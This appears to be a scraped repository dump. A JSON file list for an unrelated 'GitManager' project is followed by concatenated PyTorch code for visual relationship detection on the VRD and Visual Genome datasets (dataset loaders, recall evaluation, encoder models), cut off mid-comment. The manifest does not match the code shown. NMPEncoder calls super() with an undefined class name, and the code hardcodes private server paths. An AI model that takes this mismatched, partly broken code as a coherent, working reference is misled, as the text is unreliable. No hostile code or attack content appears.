[ "/GitManager/__main__.py", "/GitManager/commands/__init__.py", "/GitManager/commands/clone.py", "/GitManager/commands/fetch.py", "/GitManager/commands/gc.py", "/GitManager/commands/lister.py", "/GitManager/commands/pull.py", "/GitManager/commands/push.py", "/GitManager/commands/reconfigure.py", "/GitManager/commands/state.py", "/GitManager/commands/status.py", "/GitManager/config/file.py", "/GitManager/config/line.py", "/GitManager/config/tree.py", "/GitManager/main.py", "/GitManager/repo/description.py", "/GitManager/repo/finder.py", "/GitManager/repo/implementation.py", "/GitManager/utils/format.py", "/GitManager/utils/run.py", "/setup.py", "/tests/commands/test_command.py", "/tests/commands/test_fetch.py", "/tests/commands/test_gc.py", "/tests/commands/test_lister.py", "/tests/commands/test_reconfigure.py", "/tests/commands/test_setup.py", "/tests/commands/test_state.py", "/tests/commands/test_status.py", "/tests/config/test_file.py", "/tests/config/test_line.py", "/tests/config/test_tree.py", "/tests/repo/test_description.py", "/tests/repo/test_finder.py", "/tests/repo/test_implementation.py", "/tests/utils/test_format.py", "/tests/utils/test_run.py" ]
00mjk/NMP
import torch from torch.utils.data import Dataset from torch.utils.data import DataLoader import random import numpy as np import os import pickle import ipdb from utils import read_roidb, box_id, get_box_feats class VrdPredDataset(Dataset): """docstring for VrdPred""" def __init__(self, mode = 'train', feat_mode = 'full', prior = False, ori_vgg=False, use_loc=False): super(VrdPredDataset, self).__init__() self.num_nodes = 21 self.num_node_types = 101 self.num_edge_types = 71 self.num_edges = 41 #41 #30 #91 if mode == 'train': self.mode = 'train' else: self.mode = 'test' self.feat_mode = feat_mode self.prior = prior # ----------- senmantic feature ------------- # self.predicates_vec = np.load('./data/vrd_predicates_vec.npy') self.objects_vec = np.load('./data/vrd_objects_vec.npy') # ------------ original roidb feature --------# self.roidb_read = read_roidb('./data/vrd_pred_graph_roidb.npz') self.roidb = self.roidb_read[self.mode] # Exclude self edges self.off_diag_idx = np.ravel_multi_index( np.where(np.ones((self.num_nodes, self.num_nodes)) - np.eye(self.num_nodes)), [self.num_nodes, self.num_nodes]) # ------------ prior probability ------------- # # shape: [100, 100, 70] sum of the last dimension is 1 f = open('./data/vrd_so_prior.pkl', 'rb') f.seek(0) self.rel_so_prior = pickle.load(f, encoding='bytes') #[100, 100, 70] # ------------- prior of the existance of current [sub, obj] pair ---# # shape: [100, 100] sum=1 self.prior_probs = np.load('./data/vrd_prior_prob.npy', encoding='bytes') self.use_loc = use_loc def get_adj(self, roidb_use): bbox_coordinates = np.zeros([self.num_edges, 20]) matrix = np.eye(self.num_nodes) rel_rec = np.zeros([self.num_edges, self.num_nodes]) rel_send = np.zeros([self.num_edges, self.num_nodes]) sub_idx = box_id(roidb_use['sub_box_gt'], roidb_use['uni_box_gt']) obj_idx = box_id(roidb_use['obj_box_gt'], roidb_use['uni_box_gt']) for i in range(len(sub_idx)): sub_id = int(sub_idx[i]) obj_id = int(obj_idx[i]) rel_rec[i] = matrix[obj_id] rel_send[i] = matrix[sub_id] bbox_coordinates[i] = get_box_feats(roidb_use['uni_box_gt'][sub_id], roidb_use['uni_box_gt'][obj_id]) # --------- cross entropy loss ---------# edges = np.zeros(self.num_edges) + self.num_edge_types - 1 edges[:len(roidb_use['rela_gt'])] = roidb_use['rela_gt'] edges = np.array(edges, dtype=np.int64) node_cls = np.zeros(self.num_nodes) + self.num_node_types - 1 node_cls[:len(roidb_use['uni_gt'])] = roidb_use['uni_gt'] node_cls = np.array(node_cls, dtype=np.int64) return edges, node_cls, rel_rec, rel_send, bbox_coordinates def train_item(self, roidb_use): if self.feat_mode == 'full': # --------- node feature ------------# feats = np.load(roidb_use['uni_fc7']) w2vec = list(map(lambda x: self.objects_vec[int(x)], roidb_use['uni_gt'])) w2vec = np.reshape(np.array(w2vec),[-1, 300]) nodes = np.zeros([self.num_nodes, 4396]) nodes[:feats.shape[0], :4096] = feats nodes[:feats.shape[0], 4096:] = w2vec # [self.num_nodes, 4096+300] elif self.feat_mode == 'vis': feats = np.load(roidb_use['uni_fc7']) nodes = np.zeros([self.num_nodes, 4096]) nodes[:feats.shape[0]] = feats elif self.feat_mode == 'sem': w2vec = list(map(lambda x: self.objects_vec[int(x)], roidb_use['uni_gt'])) w2vec = np.reshape(np.array(w2vec),[-1, 300]) nodes = np.zeros([self.num_nodes, 300]) nodes[:w2vec.shape[0]] = w2vec prior_matrix = np.zeros([self.num_edges, self.num_edge_types])-0.5/self.num_edge_types for i in range(len(roidb_use['rela_gt'])): sub_cls = int(roidb_use['sub_gt'][i]) obj_cls = int(roidb_use['obj_gt'][i]) current_prior = self.rel_so_prior[sub_cls, obj_cls] # current_prior = -0.5*(current_prior+1.0/self.num_edge_types) current_prior = -0.5*(1.0/self.num_edge_types) prior_matrix[i, :(self.num_edge_types-1)] = current_prior # ------ region vgg feature --- initialize edge feature ---------# # sub_idx = box_id(roidb_use['sub_box_gt'], roidb_use['uni_box_gt']) # obj_idx = box_id(roidb_use['obj_box_gt'], roidb_use['uni_box_gt']) edge_feats = np.zeros([self.num_edges, 512]) pred_fc7 = np.load(roidb_use['pred_fc7']) edge_feats[:len(roidb_use['rela_gt'])] = pred_fc7 return nodes, edge_feats, prior_matrix def __getitem__(self, index): roidb_use = self.roidb[index] nodes, edge_feats, prior_matrix = self.train_item(roidb_use) edges, node_cls, rel_rec, rel_send, bbox_coordinates = self.get_adj(roidb_use) bbox_coordinates = torch.FloatTensor(bbox_coordinates) nodes = torch.FloatTensor(nodes) edges = torch.LongTensor(edges) node_cls = torch.LongTensor(node_cls) edge_feats = torch.FloatTensor(edge_feats) rel_rec = torch.FloatTensor(rel_rec) rel_send = torch.FloatTensor(rel_send) prior_matrix = torch.FloatTensor(prior_matrix) if self.prior: return nodes, edges, node_cls, edge_feats, rel_rec, rel_send, bbox_coordinates, prior_matrix else: return nodes, edges, node_cls, edge_feats, rel_rec, rel_send def __len__(self): return len(self.roidb) class VrdRelaDataset(Dataset): """docstring for VrdRela""" def __init__(self, mode = 'train', feat_mode = 'full', prior=False, ori_vgg=False, use_loc=False): super(VrdRelaDataset, self).__init__() self.num_nodes = 21 #44 #21 self.num_edges = 41 #30 #170 self.num_node_types = 101 self.num_edge_types = 71 self.feat_mode = feat_mode self.prior = prior if mode == 'train': self.mode = 'train' else: self.mode = 'test' # if mode == 'test': self.num_nodes = 96 #63 self.num_edges = self.num_nodes * (self.num_nodes-1) # ----------- senmantic feature ------------- # self.predicates_vec = np.load('./data/vrd_predicates_vec.npy') self.objects_vec = np.load('./data/vrd_objects_vec.npy') # ------------ original roidb feature --------# self.roidb_read = read_roidb('./data/vrd_rela_graph_roidb_iou_dis_{}_{}.npz'.format(0.5*10, 0.45*10)) self.roidb = self.roidb_read[self.mode] # Exclude self edges self.off_diag_idx = np.ravel_multi_index( np.where(np.ones((self.num_nodes, self.num_nodes)) - np.eye(self.num_nodes)), [self.num_nodes, self.num_nodes]) # ------------ prior probability ------------- # self.prior = prior f = open('./data/vrd_so_prior.pkl', 'rb') f.seek(0) self.rel_so_prior = pickle.load(f, encoding='bytes') #[100, 100, 70] self.use_loc = use_loc def get_adj(self, roidb_use): bbox_coordinates = np.zeros([self.num_edges, 20]) matrix = np.eye(self.num_nodes) rel_rec = np.zeros([self.num_edges, self.num_nodes]) rel_send = np.zeros([self.num_edges, self.num_nodes]) sub_idx = box_id(roidb_use['sub_box_dete'], roidb_use['uni_box_gt']) obj_idx = box_id(roidb_use['obj_box_dete'], roidb_use['uni_box_gt']) for i in range(len(sub_idx)): sub_id = int(sub_idx[i]) obj_id = int(obj_idx[i]) rel_rec[i] = matrix[obj_id] rel_send[i] = matrix[sub_id] bbox_coordinates[i] = get_box_feats(roidb_use['uni_box_gt'][sub_id], roidb_use['uni_box_gt'][obj_id]) edges = np.zeros(self.num_edges) + self.num_edge_types-1 edges[:len(roidb_use['rela_dete'])] = roidb_use['rela_dete'] edges = np.array(edges, dtype=np.int64) node_cls = np.zeros(self.num_nodes) + self.num_node_types-1 node_cls[:len(roidb_use['uni_gt'])] = roidb_use['uni_gt'] node_cls = np.array(node_cls, dtype=np.int64) return edges, node_cls, rel_rec, rel_send, bbox_coordinates def train_item(self, roidb_use): # --------- node feature ------------# feats = np.load(roidb_use['uni_fc7']) w2vec = list(map(lambda x: self.objects_vec[int(x)], roidb_use['uni_gt'])) w2vec = np.reshape(np.array(w2vec),[-1, 300]) if feats.shape[0] > self.num_nodes: index_box = np.sort(random.sample(range(feats.shape[0]), self.num_nodes)) feats = feats[index_box, :] w2vec = w2vec[index_box, :] if self.feat_mode == 'full': nodes = np.concatenate([feats, w2vec], 1) # [self.num_nodes, 4096+300] elif self.feat_mode == 'vis': nodes = feats elif self.feat_mode == 'sem': nodes = w2vec # --------- edge feature ------------# # edge_idx = roidb_use['edge_matrix'][index_box, :] # edge_idx = edge_idx[:, index_box] # [self.num_nodes, self.num_nodes] else: if self.feat_mode == 'full': nodes = np.zeros([self.num_nodes, 4396]) nodes[:feats.shape[0], :4096] = feats nodes[:feats.shape[0], 4096:] = w2vec # [self.num_nodes, 4096+300] elif self.feat_mode == 'vis': nodes = np.zeros([self.num_nodes, 4096]) nodes[:feats.shape[0]] = feats elif self.feat_mode == 'sem': nodes = np.zeros([self.num_nodes, 300]) nodes[:w2vec.shape[0]] = w2vec prior_matrix = np.zeros([self.num_edges, self.num_edge_types])-0.5/self.num_edge_types for i in range(len(roidb_use['rela_dete'])): sub_cls = int(roidb_use['sub_dete'][i]) obj_cls = int(roidb_use['obj_dete'][i]) current_prior = self.rel_so_prior[sub_cls, obj_cls] # current_prior = -0.5*(current_prior+1.0/self.num_edge_types) current_prior = -0.5*(1.0/self.num_edge_types) prior_matrix[i, :(self.num_edge_types-1)] = current_prior # ------ region vgg feature --- initialize edge feature ---------# sub_idx = box_id(roidb_use['sub_box_dete'], roidb_use['uni_box_gt']) obj_idx = box_id(roidb_use['obj_box_dete'], roidb_use['uni_box_gt']) edge_feats = np.zeros([self.num_edges, 512]) # pred_fc7 = np.load(roidb_use['pred_fc7']) # edge_feats[:len(roidb_use['rela_dete'])] = pred_fc7 # for i in range(len(sub_idx)): # edge_feats[int(sub_idx[i]),int(obj_idx[i])] = pred_fc7[i] # edge_feats = np.reshape(edge_feats, [self.num_nodes ** 2, -1]) # edge_feats = edge_feats[self.off_diag_idx] return nodes, edge_feats, prior_matrix def __getitem__(self, index): roidb_use = self.roidb[index] nodes, edge_feats, prior_matrix = self.train_item(roidb_use) edges, node_cls, rel_rec, rel_send, bbox_coordinates = self.get_adj(roidb_use) bbox_coordinates = torch.FloatTensor(bbox_coordinates) nodes = torch.FloatTensor(nodes) edges = torch.LongTensor(edges) node_cls = torch.LongTensor(node_cls) edge_feats = torch.FloatTensor(edge_feats) rel_rec = torch.FloatTensor(rel_rec) rel_send = torch.FloatTensor(rel_send) prior_matrix = torch.FloatTensor(prior_matrix) if self.prior: return nodes, edges, node_cls, edge_feats, rel_rec, rel_send, bbox_coordinates, prior_matrix else: return nodes, edges, node_cls, edge_feats, rel_rec, rel_send def __len__(self): return len(self.roidb) class VgPredDataset(Dataset): """docstring for VgPred""" def __init__(self, mode = 'train', feat_mode = 'full', prior = False, ori_vgg=False, use_loc=False): super(VgPredDataset, self).__init__() self.num_nodes = 110 #98 self.num_edge_types = 101 self.num_node_types = 201 self.num_edges = 490 #352 if mode == 'train': self.mode = 'train' else: self.mode = 'test' self.feat_mode = feat_mode self.prior = prior # ----------- senmantic feature ------------- # self.predicates_vec = np.load('./data/vg_predicates_vec.npy') self.objects_vec = np.load('./data/vg_objects_vec.npy') # ------------ original roidb feature --------# self.roidb_read = read_roidb('./data/vg_pred_graph_roidb.npz') self.roidb = self.roidb_read[self.mode] self.rel_so_prior = np.load('./data/vg_so_prior.npy') #[201, 201, 100] self.use_loc = use_loc def get_adj(self, roidb_use): bbox_coordinates = np.zeros([self.num_edges, 20]) matrix = np.eye(self.num_nodes) rel_rec = np.zeros([self.num_edges, self.num_nodes]) rel_send = np.zeros([self.num_edges, self.num_nodes]) sub_idx = box_id(roidb_use['sub_box_gt'], roidb_use['uni_box_gt']) obj_idx = box_id(roidb_use['obj_box_gt'], roidb_use['uni_box_gt']) for i in range(len(sub_idx)): sub_id = int(sub_idx[i]) obj_id = int(obj_idx[i]) rel_rec[i] = matrix[obj_id] rel_send[i] = matrix[sub_id] bbox_coordinates[i] = get_box_feats(roidb_use['uni_box_gt'][sub_id], roidb_use['uni_box_gt'][obj_id]) edges = np.zeros(self.num_edges) + self.num_edge_types - 1 edges[:len(roidb_use['rela_gt'])] = roidb_use['rela_gt'] edges = np.array(edges, dtype=np.int64) node_cls = np.zeros(self.num_nodes) + self.num_node_types-1 node_cls[:len(roidb_use['uni_gt'])] = roidb_use['uni_gt'] node_cls = np.array(node_cls, dtype=np.int64) return edges, node_cls, rel_rec, rel_send, bbox_coordinates def train_item(self, roidb_use): if self.feat_mode == 'full': # --------- node feature ------------# feats = np.load(roidb_use['uni_fc7']) w2vec = list(map(lambda x: self.objects_vec[int(x)], roidb_use['uni_gt'])) w2vec = np.reshape(np.array(w2vec),[-1, 300]) nodes = np.zeros([self.num_nodes, 4396]) nodes[:feats.shape[0], :4096] = feats nodes[:feats.shape[0], 4096:] = w2vec # [self.num_nodes, 4096+300] elif self.feat_mode == 'vis': feats = np.load(roidb_use['uni_fc7']) nodes = np.zeros([self.num_nodes, 4096]) nodes[:feats.shape[0]] = feats elif self.feat_mode == 'sem': w2vec = list(map(lambda x: self.objects_vec[int(x)], roidb_use['uni_gt'])) w2vec = np.reshape(np.array(w2vec),[-1, 300]) nodes = np.zeros([self.num_nodes, 300]) nodes[:w2vec.shape[0]] = w2vec # prior_matrix = np.zeros([self.num_edges, self.num_edge_types]) prior_matrix = np.zeros([self.num_edges, self.num_edge_types])-0.5/self.num_edge_types for i in range(len(roidb_use['rela_gt'])): sub_cls = int(roidb_use['sub_gt'][i]) obj_cls = int(roidb_use['obj_gt'][i]) current_prior = self.rel_so_prior[sub_cls, obj_cls] current_prior = -0.5*(current_prior+1.0/self.num_edge_types) # current_prior = -1.0*(current_prior+1.0/self.num_edge_types) prior_matrix[i, :(self.num_edge_types-1)] = current_prior # ------ region vgg feature --- initialize edge feature ---------# # sub_idx = box_id(roidb_use['sub_box_gt'], roidb_use['uni_box_gt']) # obj_idx = box_id(roidb_use['obj_box_gt'], roidb_use['uni_box_gt']) edge_feats = np.zeros([self.num_edges, 512]) pred_fc7 = np.load(roidb_use['pred_fc7']) edge_feats[:len(roidb_use['rela_gt'])] = pred_fc7 return nodes, edge_feats, prior_matrix def __getitem__(self, index): roidb_use = self.roidb[index] nodes, edge_feats, prior_matrix = self.train_item(roidb_use) edges, node_cls, rel_rec, rel_send, bbox_coordinates = self.get_adj(roidb_use) nodes = torch.FloatTensor(nodes) edges = torch.LongTensor(edges) node_cls = torch.LongTensor(node_cls) edge_feats = torch.FloatTensor(edge_feats) rel_rec = torch.FloatTensor(rel_rec) rel_send = torch.FloatTensor(rel_send) prior_matrix = torch.FloatTensor(prior_matrix) bbox_coordinates = torch.FloatTensor(bbox_coordinates) if self.prior: return nodes, edges, node_cls, edge_feats, rel_rec, rel_send, bbox_coordinates, prior_matrix else: return nodes, edges, node_cls, edge_feats, rel_rec, rel_send def __len__(self): return len(self.roidb) def load_dataset(data_set='vrd', ori_vgg=False, dataset='pred', level='image', batch_size=32, eval_batch_size=32, shuffle=False, feat_mode='full', prior=False): if data_set == 'vrd': if dataset=='pred' and level=='image': load_func_name = VrdPredDataset elif dataset=='rela' and level=='image': load_func_name = VrdRelaDataset else: load_func_name = VgPredDataset train_data = load_func_name(mode='train', feat_mode = feat_mode, prior=True, ori_vgg=ori_vgg) val_data = load_func_name(mode='test', feat_mode = feat_mode, prior=True, ori_vgg=ori_vgg) test_data = load_func_name(mode='test', feat_mode = feat_mode, prior=True, ori_vgg=ori_vgg) train_loader = DataLoader(train_data, shuffle=shuffle, batch_size=batch_size) val_loader = DataLoader(val_data, shuffle=False, batch_size=eval_batch_size) test_loader = DataLoader(test_data, shuffle=False, batch_size=eval_batch_size) return train_loader, val_loader, test_loader --- FILE SEPARATOR --- from __future__ import print_function import numpy as np import os import ipdb import time from tqdm import tqdm from utils import read_roidb, compute_iou_each def graph_npy2roidb(roidb, pred_probs, pred_cls, mode='pred', level='image', topk=False): ''' function: process the pred_probs and pred_cls to the roidb format; then the metric calculation functions can deal with them args: roidb: the ground truth roidb array of dict topk: get the top k highest predication pred_probs: the prediction probs of the predicate based on the input box pair shape: [N_GT_set, k] pred_cls: the prediction class of the predicate based on the input box pair shape: [N_GT_set, k] mode: 'pred' or 'rela' ''' def _output2roidb(roidb_use, output, output_score, mode='pred'): if mode == 'pred': N_total = len(roidb_use['rela_gt']) else: N_total = len(roidb_use['rela_dete']) pred_rela = output[:N_total] pred_rela_score = output_score[:N_total] return pred_rela, pred_rela_score def _instance_output2roidb(start, roidb_use, output, output_score, mode='pred'): if mode == 'pred': N_total = len(roidb_use['rela_gt']) else: N_total = len(roidb_use['rela_dete']) pred_rela = pred_cls[start:(start+N_total)] pred_rela_score = pred_probs[start:(start+N_total)] start += N_total return start, pred_rela, pred_rela_score pred_roidb = [] N_data = len(roidb) start = 0 if mode == 'pred': for i in range(N_data): roidb_use = roidb[i] if level == 'instance': start, pred_rela, pred_rela_score = _instance_output2roidb(start, roidb_use, pred_cls, pred_probs, mode=mode) else: pred_rela, pred_rela_score = _output2roidb(roidb_use, pred_cls[i], pred_probs[i], mode=mode) pred_roidb_temp = {'pred_rela': pred_rela, 'pred_rela_score': pred_rela_score, 'sub_box_dete': roidb_use['sub_box_gt'], 'obj_box_dete': roidb_use['obj_box_gt'], 'sub_dete': roidb_use['sub_gt'], 'obj_dete': roidb_use['obj_gt']} pred_roidb.append(pred_roidb_temp) elif mode == 'rela': # train set if N_data > 1000: for i in range(N_data): roidb_use = roidb[i] if level == 'instance': start, pred_rela, pred_rela_score = _instance_output2roidb(start, roidb_use, pred_cls, pred_probs, mode=mode) else: pred_rela, pred_rela_score = _output2roidb(roidb_use, pred_cls[i], pred_probs[i], mode=mode) pred_roidb_temp = {'pred_rela': pred_rela, 'pred_rela_score': pred_rela_score, 'sub_box_dete': roidb_use['sub_box_dete'], 'obj_box_dete': roidb_use['obj_box_dete'], 'sub_dete': roidb_use['sub_dete'], 'obj_dete': roidb_use['obj_dete']} pred_roidb.append(pred_roidb_temp) else: for i in range(N_data): roidb_use = roidb[i] if level == 'instance': start, pred_rela, pred_rela_score = _instance_output2roidb(start, roidb_use, pred_cls, pred_probs, mode=mode) else: pred_rela, pred_rela_score = _output2roidb(roidb_use, pred_cls[i], pred_probs[i], mode=mode) sub_score = roidb_use['sub_score'] obj_score = roidb_use['obj_score'] sub_obj_score = np.log(sub_score) + np.log(obj_score) # sub_obj_score = np.zeros_like(obj_score) if topk: pred_rela_score = list(map(lambda i: sub_obj_score + pred_rela_score[:,i], range(pred_rela_score.shape[-1]))) pred_rela_score = np.array(pred_rela_score).T else: pred_rela_score = pred_rela_score + sub_obj_score pred_roidb_temp = {'pred_rela': pred_rela, 'pred_rela_score': pred_rela_score, 'sub_box_dete': roidb_use['sub_box_dete'], 'obj_box_dete': roidb_use['obj_box_dete'], # 'sub_dete': roidb_use['sub_dete']-1, 'obj_dete': roidb_use['obj_dete']-1} 'sub_dete': roidb_use['sub_dete'], 'obj_dete': roidb_use['obj_dete']} pred_roidb.append(pred_roidb_temp) roidb_temp = {} roidb_temp['pred_roidb'] = pred_roidb return roidb_temp def compute_overlap(det_bboxes, gt_bboxes): """ Compute overlap of detected and ground truth boxes. Inputs: - det_bboxes: array (2, 4), 2 x [y_min, y_max, x_min, x_max] The detected bounding boxes for subject and object - gt_bboxes: array (2, 4), 2 x [y_min, y_max, x_min, x_max] The ground truth bounding boxes for subject and object Returns: - overlap: non-negative float <= 1 """ overlaps = [] for det_bbox, gt_bbox in zip(det_bboxes, gt_bboxes): overlaps.append(compute_iou_each(det_bbox, gt_bbox)) return min(overlaps) def roidb2list(test_roidb, pred_roidb, mode='pred', topk=False, is_zs=False, dataset='vrd'): N_data = len(test_roidb) if topk: if dataset == 'vrd': k = 70 else: k = 100 else: k = 1 # k = 70 if topk else 1 det_labels = [] det_bboxes = [] for i in range(N_data): if mode == 'pred': n_dete = len(test_roidb[i]['rela_gt']) else: n_dete = len(test_roidb[i]['rela_dete']) conf_dete = np.ones([n_dete*k, 1]) dete_label = np.concatenate([conf_dete, \ np.reshape(pred_roidb[i]['pred_rela_score'],[n_dete*k,1]), conf_dete, np.repeat(np.reshape(pred_roidb[i]['sub_dete'],[n_dete,1]),k,axis=0), np.reshape(pred_roidb[i]['pred_rela'],[n_dete*k,1]), np.repeat(np.reshape(pred_roidb[i]['obj_dete'],[n_dete,1]),k,axis=0)], 1) dete_box = np.repeat(np.concatenate([ np.reshape(pred_roidb[i]['sub_box_dete'],[n_dete, 1, 4]), np.reshape(pred_roidb[i]['obj_box_dete'],[n_dete, 1, 4])], 1), k, axis=0) det_labels.append(dete_label) det_bboxes.append(dete_box) gt_labels = [] gt_bboxes = [] if is_zs: if dataset == 'vrd': zs_flag = np.load('/DATA5_DB8/data/yhu/NRI/dsr_data/dsr_zs.npy', encoding='bytes') else: zs_flag = read_roidb('/DATA5_DB8/data/yhu/VTransE/input/zeroshot_vg.npz') for i in range(N_data): if is_zs: if dataset == 'vrd': zs_index = np.where(zs_flag[i]==1)[0] else: zs_index = np.where(zs_flag[i]['zero_shot']==1)[0] rela_gt = test_roidb[i]['rela_gt'][zs_index] sub_gt = test_roidb[i]['sub_gt'][zs_index] obj_gt = test_roidb[i]['obj_gt'][zs_index] sub_box_gt = test_roidb[i]['sub_box_gt'][zs_index] obj_box_gt = test_roidb[i]['obj_box_gt'][zs_index] else: rela_gt = test_roidb[i]['rela_gt'] sub_gt = test_roidb[i]['sub_gt'] obj_gt = test_roidb[i]['obj_gt'] sub_box_gt = test_roidb[i]['sub_box_gt'] obj_box_gt = test_roidb[i]['obj_box_gt'] n_gt = len(rela_gt) gt_label = np.concatenate([ np.reshape(sub_gt, [n_gt,1]), np.reshape(rela_gt, [n_gt,1]), np.reshape(obj_gt, [n_gt,1])], 1) gt_box = np.concatenate([ np.reshape(sub_box_gt, [n_gt, 1, 4]), np.reshape(obj_box_gt, [n_gt, 1, 4])], 1) gt_labels.append(gt_label) gt_bboxes.append(gt_box) return det_labels, det_bboxes, gt_labels, gt_bboxes def eval_result(test_roidb, pred_roidb, N_recall, is_zs=False, mode='pred', topk=False, dataset='vrd'): det_labels, det_bboxes, gt_labels, gt_bboxes = \ roidb2list(test_roidb, pred_roidb, mode=mode, topk=topk, is_zs=is_zs, dataset=dataset) relationships_found = 0 n_re = N_recall all_relationships = sum(labels.shape[0] for labels in gt_labels) for item in zip(det_labels, det_bboxes, gt_labels, gt_bboxes): (det_lbls, det_bxs, gt_lbls, gt_bxs) = item if not det_lbls.any() or not gt_lbls.any(): continue # omit empty detection matrices gt_detected = np.zeros(gt_lbls.shape[0]) # det_score = np.sum(np.log(det_lbls[:, 0:3]), axis=1) det_score = det_lbls[:,1] inds = np.argsort(det_score)[::-1][:n_re] # at most n_re predictions for det_box, det_label in zip(det_bxs[inds, :], det_lbls[inds, 3:]): overlaps = np.array([ max(compute_overlap(det_box, gt_box), 0.499) if detected == 0 and not any(det_label - gt_label) else 0 for gt_box, gt_label, detected in zip(gt_bxs, gt_lbls, gt_detected) ]) if (overlaps >= 0.5).any(): gt_detected[np.argmax(overlaps)] = 1 relationships_found += 1 return float(relationships_found / all_relationships) --- FILE SEPARATOR --- import torch import torch.nn as nn import torch.nn.functional as F import math import ipdb import torch.utils.model_zoo as model_zoo from torch.autograd import Variable class FC(nn.Module): def __init__(self, in_features, out_features, relu=True): super(FC, self).__init__() self.fc = nn.Linear(in_features, out_features) self.relu = nn.ReLU(inplace=True) if relu else None def forward(self, x): x = self.fc(x) if self.relu is not None: x = self.relu(x) return x class MLP(nn.Module): """Two-layer fully-connected ELU net with batch norm.""" def __init__(self, n_in, n_hid, n_out, do_prob=0.): super(MLP, self).__init__() self.fc1 = nn.Linear(n_in, n_hid) self.fc2 = nn.Linear(n_hid, n_out) self.bn = nn.BatchNorm1d(n_out) self.dropout_prob = do_prob self.init_weights() def init_weights(self): for m in self.modules(): if isinstance(m, nn.Linear): nn.init.xavier_normal_(m.weight.data) m.bias.data.fill_(0.1) elif isinstance(m, nn.BatchNorm1d): m.weight.data.fill_(1) m.bias.data.zero_() def batch_norm(self, inputs): x = inputs.view(inputs.size(0) * inputs.size(1), -1) x = self.bn(x) return x.view(inputs.size(0), inputs.size(1), -1) def forward(self, inputs): # Input shape: [num_sims, num_things, num_features] x = F.elu(self.fc1(inputs)) x = F.dropout(x, self.dropout_prob, training=self.training) x = F.elu(self.fc2(x)) return self.batch_norm(x) class SimpleEncoder(nn.Module): def __init__(self, n_hid, edge_types=71, node_types=101, do_prob=0., use_vis=True, use_spatial=True, use_sem=True, use_loc=False, use_cls=False): super(SimpleEncoder, self).__init__() self.use_vis = use_vis self.use_spatial = use_spatial self.use_sem = use_sem self.use_loc = use_loc self.use_cls = use_cls # self.vis_hid = int(n_hid/2) self.vis_hid = n_hid self.sem_hid = n_hid self.spatial_hid = n_hid self.loc_hid = 64 self.cls_hid = 64 self.fc_vis = FC(4096, self.vis_hid) self.fc_spatial = FC(512, self.spatial_hid) self.fc_sem = FC(300, self.sem_hid) self.fc_loc = FC(20, self.loc_hid) n_fusion = 0 if self.use_vis: n_fusion += self.vis_hid if self.use_cls: n_fusion += self.cls_hid if self.use_spatial: n_fusion += self.spatial_hid if self.use_sem: n_fusion += self.sem_hid if self.use_loc: n_fusion += self.loc_hid # ---- sub obj concat ---------# self.fc_so_vis = FC(self.vis_hid*2, self.vis_hid) # ---- sub obj concat ---------# self.fc_so_sem = FC(self.sem_hid*2, self.sem_hid) # ---- all the feature into hidden space -------# self.fc_fusion = FC(n_fusion, n_hid) self.fc_rel = FC(n_hid, edge_types, relu=False) if self.use_vis: self.fc_cls = FC(4096, node_types, relu=False) else: self.fc_cls = FC(300, node_types, relu=False) self.fc_so_cls = FC(node_types*2, self.cls_hid) self.init_weights() def init_weights(self): for m in self.modules(): if isinstance(m, nn.Linear): nn.init.xavier_normal_(m.weight.data) m.bias.data.fill_(0.1) def node2edge(self, x, rel_rec, rel_send): receivers = torch.matmul(rel_rec, x) senders = torch.matmul(rel_send, x) edges = torch.cat([receivers, senders], dim=2) return edges def forward(self, inputs, spatial_feats, rel_rec, rel_send, bbox_loc): inputs = inputs[:, :, :].contiguous() x = inputs.view(inputs.size(0), inputs.size(1), -1) # New shape: [batch_size, num_nodes, num_dims] if self.use_vis: x_v = self.fc_vis(x[:, :, :4096]) #[batch_size, num_nodes, n_hid] e_hid_v = self.node2edge(x_v, rel_rec, rel_send) #[batch_size, num_edges, n_hid*2] e_v = self.fc_so_vis(e_hid_v) #[batch_size, num_edges, n_hid] edge_feats = e_v #[batch_size, num_edges, n_hid] x_cls = self.fc_cls(x[:, :, :4096]) if self.use_cls: e_hid_cls = self.node2edge(x_cls, rel_rec, rel_send) e_cls = self.fc_so_cls(e_hid_cls) edge_feats = torch.cat([edge_feats, e_cls], -1) if self.use_sem: if self.use_vis: x_s = self.fc_sem(x[:, :, 4096:]) #[batch_size, num_nodes, n_hid] else: x_s = self.fc_sem(x) x_cls = self.fc_cls(x) e_hid_s = self.node2edge(x_s, rel_rec, rel_send) #[batch_size, num_edges, n_hid*2] e_s = self.fc_so_sem(e_hid_s) #[batch_size, num_edges, n_hid] if self.use_vis: edge_feats = torch.cat([edge_feats, e_s], -1) #[batch_size, num_edges, n_hid*2] else: edge_feats = e_s if self.use_spatial: e_l = self.fc_spatial(spatial_feats) #[batch_size, bun_edges, n_hid] if self.use_vis or self.use_sem: edge_feats = torch.cat([edge_feats, e_l], -1) #[batch_size, num_edges, n_hid*3] else: edge_feats = e_l if self.use_loc: e_loc = self.fc_loc(bbox_loc) edge_feats = torch.cat([edge_feats, e_loc], -1) self.edge_feats_final = self.fc_fusion(edge_feats) output = self.fc_rel(self.edge_feats_final) return output, x_cls class NMPEncoder(nn.Module): def __init__(self, n_hid, edge_types=71, node_types=101, n_iter=2, do_prob=0., use_vis=True, use_spatial=False, use_sem=True, use_loc=False, use_cls=False): super(MLPEncoder, self).__init__() self.use_vis = use_vis self.use_spatial = use_spatial self.use_sem = use_sem self.use_loc = use_loc self.use_cls = use_cls self.n_iter = n_iter self.vis_hid = 128 self.sem_hid = n_hid self.spatial_hid = n_hid self.loc_hid = 64 self.cls_hid = 64 self.mlp1 = MLP(n_hid * 2, n_hid, n_hid, do_prob) self.mlp2 = MLP(n_hid, n_hid, n_hid, do_prob) self.mlp3 = MLP(n_hid * 3, n_hid, n_hid, do_prob) self.mlp4 = MLP(n_hid * 2, n_hid, n_hid, do_prob) self.mlp5 = MLP(n_hid * 2, n_hid, n_hid, do_prob) self.mlp_e2n = MLP(n_hid * 2, n_hid, n_hid, do_prob) # ------- visual feature ---------# # self.fc_vis = FC(4096, n_hid) self.fc_vis = MLP(4096, self.vis_hid, self.vis_hid, do_prob) # ------ spatial feature ---------# # self.fc_spatial = FC(512, n_hid) self.fc_spatial = MLP(512, self.spatial_hid, self.spatial_hid, do_prob) # ------- semantic feature -------# # self.fc_sem = FC(300, n_hid) self.fc_sem = MLP(300, self.sem_hid, self.sem_hid, do_prob) # ------- location feature -------# self.fc_loc = MLP(20, self.loc_hid, self.loc_hid, do_prob) n_fusion = 0 if self.use_vis: n_fusion += self.vis_hid if self.use_cls: n_fusion += self.cls_hid if self.use_sem: n_fusion += self.sem_hid final_fusion = n_hid if self.use_loc: final_fusion += self.loc_hid # # ---- sub obj concat 